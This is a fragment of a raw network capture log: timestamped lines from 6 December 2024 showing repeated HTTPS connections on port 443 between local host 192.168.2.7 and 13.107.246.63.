Dec 6, 2024 15:52:56.366776943 CET	49788	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:56.367115021 CET	49788	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:56.367129087 CET	443	49788	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:56.594929934 CET	443	49783	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:56.595525026 CET	49783	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:56.595540047 CET	443	49783	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:56.596035957 CET	49783	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:56.596041918 CET	443	49783	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:57.038182020 CET	443	49783	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:57.038258076 CET	443	49783	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:57.038378000 CET	49783	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:57.038570881 CET	49783	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:57.038595915 CET	443	49783	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:57.038614988 CET	49783	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:57.038621902 CET	443	49783	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:57.041693926 CET	49789	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:57.041740894 CET	443	49789	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:57.041817904 CET	49789	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:57.041987896 CET	49789	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:57.042002916 CET	443	49789	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:57.199490070 CET	443	49786	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:57.199953079 CET	49786	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:57.199965954 CET	443	49786	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:57.200414896 CET	49786	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:57.200419903 CET	443	49786	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:57.643553972 CET	443	49786	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:57.643618107 CET	443	49786	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:57.643798113 CET	49786	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:57.643964052 CET	49786	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:57.643965960 CET	49786	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:57.643982887 CET	443	49786	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:57.643995047 CET	443	49786	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:57.646914959 CET	49790	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:57.646951914 CET	443	49790	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:57.647042990 CET	49790	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:57.647244930 CET	49790	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:57.647258043 CET	443	49790	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:57.670392990 CET	443	49787	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:57.670793056 CET	49787	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:57.670811892 CET	443	49787	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:57.671226978 CET	49787	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:57.671231985 CET	443	49787	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:58.109081030 CET	443	49787	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:58.109150887 CET	443	49787	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:58.109337091 CET	49787	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:58.109436989 CET	49787	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:58.109460115 CET	443	49787	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:58.109472036 CET	49787	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:58.109478951 CET	443	49787	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:58.112849951 CET	49792	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:58.112895966 CET	443	49792	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:58.113446951 CET	49792	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:58.114356995 CET	49792	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:58.114371061 CET	443	49792	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:58.220227957 CET	443	49788	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:58.220745087 CET	49788	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:58.220758915 CET	443	49788	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:58.221154928 CET	49788	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:58.221163034 CET	443	49788	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:58.658097982 CET	443	49788	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:58.658168077 CET	443	49788	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:58.662787914 CET	49788	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:58.663079977 CET	49788	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:58.663094997 CET	443	49788	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:58.663105011 CET	49788	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:58.663110971 CET	443	49788	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:58.666451931 CET	49793	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:58.666507006 CET	443	49793	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:58.668467999 CET	49793	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:58.675302029 CET	49793	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:58.675327063 CET	443	49793	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:58.770431995 CET	443	49789	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:58.788827896 CET	49789	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:58.788840055 CET	443	49789	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:58.789386034 CET	49789	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:58.789391994 CET	443	49789	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:59.204819918 CET	443	49789	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:59.204900026 CET	443	49789	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:59.209547043 CET	49789	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:59.210123062 CET	49789	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:59.210123062 CET	49789	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:59.210144043 CET	443	49789	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:59.210154057 CET	443	49789	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:59.217549086 CET	49794	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:59.217581034 CET	443	49794	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:59.217840910 CET	49794	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:59.218405008 CET	49794	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:59.218415976 CET	443	49794	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:59.362977028 CET	443	49790	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:59.363873959 CET	49790	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:59.363883972 CET	443	49790	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:59.364315033 CET	49790	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:59.364320993 CET	443	49790	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:59.835259914 CET	443	49792	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:59.839755058 CET	49792	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:59.839766979 CET	443	49792	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:59.840306044 CET	49792	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:59.840312004 CET	443	49792	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:59.873655081 CET	443	49790	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:59.873723030 CET	443	49790	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:59.873905897 CET	49790	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:59.873974085 CET	49790	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:59.873975039 CET	49790	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:59.873991013 CET	443	49790	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:59.874000072 CET	443	49790	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:59.876878977 CET	49795	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:59.876914978 CET	443	49795	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:59.876991987 CET	49795	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:59.877124071 CET	49795	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:59.877139091 CET	443	49795	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:00.051465034 CET	443	49784	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:00.051949024 CET	49784	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:00.051959991 CET	443	49784	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:00.052411079 CET	49784	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:00.052416086 CET	443	49784	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:00.208910942 CET	443	49793	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:00.209538937 CET	49793	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:00.209562063 CET	443	49793	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:00.209991932 CET	49793	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:00.209999084 CET	443	49793	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:00.315834045 CET	443	49792	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:00.315917969 CET	443	49792	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:00.320238113 CET	49792	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:00.320326090 CET	49792	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:00.320342064 CET	443	49792	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:00.320358992 CET	49792	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:00.320365906 CET	443	49792	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:00.322783947 CET	49796	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:00.322809935 CET	443	49796	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:00.322942019 CET	49796	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:00.323198080 CET	49796	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:00.323210955 CET	443	49796	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:00.485881090 CET	443	49784	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:00.485954046 CET	443	49784	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:00.488306999 CET	49784	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:00.498085022 CET	49784	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:00.498123884 CET	443	49784	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:00.498137951 CET	49784	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:00.498145103 CET	443	49784	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:00.503194094 CET	49797	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:00.503242970 CET	443	49797	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:00.503449917 CET	49797	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:00.504342079 CET	49797	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:00.504354954 CET	443	49797	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:00.643645048 CET	443	49793	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:00.643704891 CET	443	49793	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:00.644180059 CET	49793	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:00.644463062 CET	49793	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:00.644484043 CET	443	49793	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:00.644489050 CET	49793	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:00.644495964 CET	443	49793	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:00.647329092 CET	49798	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:00.647357941 CET	443	49798	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:00.647557020 CET	49798	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:00.647696018 CET	49798	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:00.647707939 CET	443	49798	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:01.034997940 CET	443	49794	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:01.035434008 CET	49794	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:01.035451889 CET	443	49794	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:01.035897970 CET	49794	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:01.035903931 CET	443	49794	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:01.483524084 CET	443	49794	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:01.483588934 CET	443	49794	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:01.493545055 CET	49794	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:01.606571913 CET	443	49795	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:01.648682117 CET	49795	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:01.651895046 CET	49794	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:01.651918888 CET	443	49794	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:01.651928902 CET	49794	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:01.651936054 CET	443	49794	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:01.654208899 CET	49795	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:01.654232979 CET	443	49795	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:01.654652119 CET	49795	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:01.654661894 CET	443	49795	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:01.662102938 CET	49799	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:01.662147045 CET	443	49799	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:01.662337065 CET	49799	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:01.662448883 CET	49799	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:01.662460089 CET	443	49799	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.050860882 CET	443	49796	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.051429033 CET	49796	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.051445961 CET	443	49796	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.052006006 CET	49796	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.052012920 CET	443	49796	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.057159901 CET	443	49795	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.057231903 CET	443	49795	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.057434082 CET	49795	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.057475090 CET	49795	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.057475090 CET	49795	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.057495117 CET	443	49795	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.057504892 CET	443	49795	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.060264111 CET	49801	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.060312033 CET	443	49801	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.060401917 CET	49801	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.060556889 CET	49801	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.060574055 CET	443	49801	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.223010063 CET	443	49797	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.223557949 CET	49797	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.223572969 CET	443	49797	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.223973989 CET	49797	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.223997116 CET	443	49797	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.388971090 CET	443	49798	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.389647007 CET	49798	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.389662027 CET	443	49798	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.390141964 CET	49798	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.390146971 CET	443	49798	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.487225056 CET	443	49796	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.487294912 CET	443	49796	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.487513065 CET	49796	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.487535954 CET	49796	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.487535954 CET	49796	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.487548113 CET	443	49796	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.487556934 CET	443	49796	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.490391970 CET	49802	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.490427971 CET	443	49802	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.490509033 CET	49802	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.490698099 CET	49802	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.490711927 CET	443	49802	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.665677071 CET	443	49797	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.665749073 CET	443	49797	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.668857098 CET	49797	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.670517921 CET	49797	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.670517921 CET	49797	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.670543909 CET	443	49797	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.670555115 CET	443	49797	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.673765898 CET	49803	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.673821926 CET	443	49803	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.673960924 CET	49803	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.674494028 CET	49803	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.674510956 CET	443	49803	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.823319912 CET	443	49798	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.823379993 CET	443	49798	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.823482990 CET	49798	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.825432062 CET	49798	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.825457096 CET	443	49798	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.825468063 CET	49798	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.825474024 CET	443	49798	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.827800035 CET	49804	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.827833891 CET	443	49804	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:02.828162909 CET	49804	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.828383923 CET	49804	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:02.828396082 CET	443	49804	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:03.430959940 CET	443	49799	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:03.431528091 CET	49799	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:03.431550026 CET	443	49799	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:03.431987047 CET	49799	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:03.431992054 CET	443	49799	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:03.824595928 CET	443	49801	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:03.840373039 CET	49801	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:03.840418100 CET	443	49801	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:03.840841055 CET	49801	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:03.840847015 CET	443	49801	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:03.869000912 CET	443	49799	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:03.869054079 CET	443	49799	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:03.869452000 CET	49799	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:03.869923115 CET	49799	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:03.869941950 CET	443	49799	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:03.869952917 CET	49799	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:03.869960070 CET	443	49799	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:03.873765945 CET	49805	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:03.873805046 CET	443	49805	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:03.874198914 CET	49805	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:03.874358892 CET	49805	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:03.874375105 CET	443	49805	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.260232925 CET	443	49801	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.260294914 CET	443	49801	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.263679028 CET	49801	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.264245033 CET	49801	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.264271975 CET	443	49801	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.264286041 CET	49801	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.264292002 CET	443	49801	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.266843081 CET	49806	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.266876936 CET	443	49806	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.270042896 CET	49806	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.270375967 CET	49806	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.270387888 CET	443	49806	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.306931019 CET	443	49802	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.313551903 CET	49802	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.313585997 CET	443	49802	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.314026117 CET	49802	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.314032078 CET	443	49802	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.467770100 CET	443	49803	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.468219995 CET	49803	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.468265057 CET	443	49803	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.468720913 CET	49803	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.468730927 CET	443	49803	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.552736998 CET	443	49804	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.553234100 CET	49804	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.553246975 CET	443	49804	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.553724051 CET	49804	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.553730011 CET	443	49804	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.742399931 CET	443	49802	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.742466927 CET	443	49802	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.742539883 CET	49802	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.742697001 CET	49802	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.742714882 CET	443	49802	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.742727041 CET	49802	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.742733002 CET	443	49802	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.745560884 CET	49807	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.745599985 CET	443	49807	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.745872974 CET	49807	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.746104002 CET	49807	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.746119976 CET	443	49807	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.905556917 CET	443	49803	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.905641079 CET	443	49803	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.908545017 CET	49803	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.909610987 CET	49803	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.909610987 CET	49803	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.909631968 CET	443	49803	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.909646034 CET	443	49803	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.912719011 CET	49808	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.912753105 CET	443	49808	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.912811995 CET	49808	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.913224936 CET	49808	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.913240910 CET	443	49808	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.999465942 CET	443	49804	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.999545097 CET	443	49804	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.999598026 CET	49804	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.999778986 CET	49804	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.999799013 CET	443	49804	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:04.999809980 CET	49804	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:04.999815941 CET	443	49804	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:05.002705097 CET	49809	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:05.002758026 CET	443	49809	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:05.002867937 CET	49809	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:05.003019094 CET	49809	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:05.003027916 CET	443	49809	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:05.607999086 CET	443	49805	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:05.608860016 CET	49805	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:05.608880997 CET	443	49805	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:05.609487057 CET	49805	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:05.609493017 CET	443	49805	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:05.994499922 CET	443	49806	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:05.995711088 CET	49806	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:05.995727062 CET	443	49806	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:05.996212959 CET	49806	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:05.996218920 CET	443	49806	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.046489954 CET	443	49805	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.046587944 CET	443	49805	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.051330090 CET	443	49805	13.107.246.63	192.168.2.7
